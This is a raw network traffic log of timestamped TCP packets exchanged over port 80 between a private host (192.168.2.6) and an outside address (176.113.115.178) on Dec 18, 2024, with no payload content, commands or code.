Dec 18, 2024 13:49:47.605635881 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.606677055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.606689930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.606906891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.608515024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.608875990 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.609570980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.609585047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.609700918 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.610454082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.610467911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.610479116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.610632896 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.611560106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.611572981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.611752033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.677076101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.677210093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.677352905 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.677783966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.678276062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.678369045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.679007053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.679356098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.679409981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.679848909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.680409908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.680515051 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.680928946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.680946112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.681062937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.682176113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.682656050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.682827950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.683078051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.683089018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.683232069 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.684077024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.684665918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.684767962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.685142994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.685154915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.685234070 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.686748028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.687277079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.687335014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.687711000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.687722921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.687781096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.688796997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.688811064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.688940048 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.689785957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.689796925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.689965963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.690844059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.690856934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.690922022 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.691934109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.691972971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.692192078 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.692990065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.693001986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.693063974 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.694222927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.694233894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.694350004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.695178032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.695188999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.695257902 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.696333885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.696346045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.696412086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.697185993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.697197914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.697266102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.698333025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.698344946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.698438883 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.699268103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.699280024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.699338913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.700335026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.700345993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.700419903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.701389074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.701401949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.701440096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.702475071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.702488899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.702536106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.703521013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.703532934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.703572989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.704633951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.704648018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.704715967 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.705699921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.706130981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.706141949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.706218958 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.707267046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.707279921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.707334042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.708435059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.708447933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.708524942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.709608078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.709619999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.709680080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.710762024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.710773945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.710783958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.710828066 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.710829020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.711934090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.711946964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.712008953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.713021040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.713032007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.713104010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.713980913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.713992119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.714099884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.715065956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.715078115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.715219975 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.716069937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.716083050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.716204882 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.717159033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.717170954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.717262983 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.718394041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.718414068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.718508005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.719468117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.719480991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.720207930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.720308065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.720319986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.720381021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.721340895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.721354008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.721395016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.722475052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.722489119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.722620964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.723541975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.723553896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.723773003 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.724523067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.724534988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.724620104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.725605965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.725617886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.725663900 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.726624012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.726635933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.726744890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.727750063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.727761984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.727958918 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.728730917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.728743076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.728806973 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.729897022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.729909897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.730038881 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.731057882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.731070042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.731201887 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.733459949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.733478069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.733489990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.733573914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.869520903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.869544029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.869853020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.869867086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.870388031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.870848894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.870873928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.871351004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.871438980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.871634960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.872309923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.872324944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.872468948 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.873379946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.873831034 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.873868942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.874555111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.874567986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.874593019 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.875391960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.875510931 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.875786066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.876468897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.876482964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.876580000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.877880096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.878067970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.878324032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.879365921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.879379988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.879436970 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.879503965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.880398035 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.880422115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.880742073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.880755901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.880822897 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.881603956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.882632971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.882646084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.882658958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.882663965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.882827044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.883971930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.884366989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.884387016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.884836912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.884850025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.884980917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.885783911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.885801077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.885880947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.888072014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.888129950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.889247894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.889261007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.889415026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.891170979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.891184092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.891230106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.891768932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.891782045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.891827106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.892808914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.892822981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.892867088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.893830061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.893855095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.893868923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.893949986 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.895247936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.895270109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.895328999 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.896536112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.896550894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.896576881 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.897926092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.897941113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.897989035 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.899185896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.899208069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.899332047 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.900104046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.900118113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.900147915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.901504040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.901519060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.901530981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.901566029 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.901601076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.902285099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.902297020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.902395010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.903323889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.903357029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.903500080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.904441118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.904467106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.904650927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.905508995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.905522108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.905565023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.906846046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.906860113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.906889915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.907852888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.907867908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.907879114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.907921076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.909770966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.909784079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.909812927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.910104036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.910118103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.910191059 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.911370993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.911384106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.911906004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.912473917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.912487984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.912972927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.914117098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.914132118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.914144993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.914167881 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.914189100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.914844036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.914858103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.915082932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.915963888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.915977955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.916088104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.917362928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.917376995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.917468071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.918317080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.918330908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.918342113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.918392897 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.919401884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.919451952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.919504881 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.920602083 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.920614958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.920694113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.921914101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.921928883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.921983004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.922914982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.922929049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.922988892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.924077988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.924092054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.924102068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.924227953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.924227953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.925414085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.925427914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.925616026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.926387072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.978223085 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.061532021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.062015057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.062169075 CET	49822	80	192.168.2.6	176.113.115.178
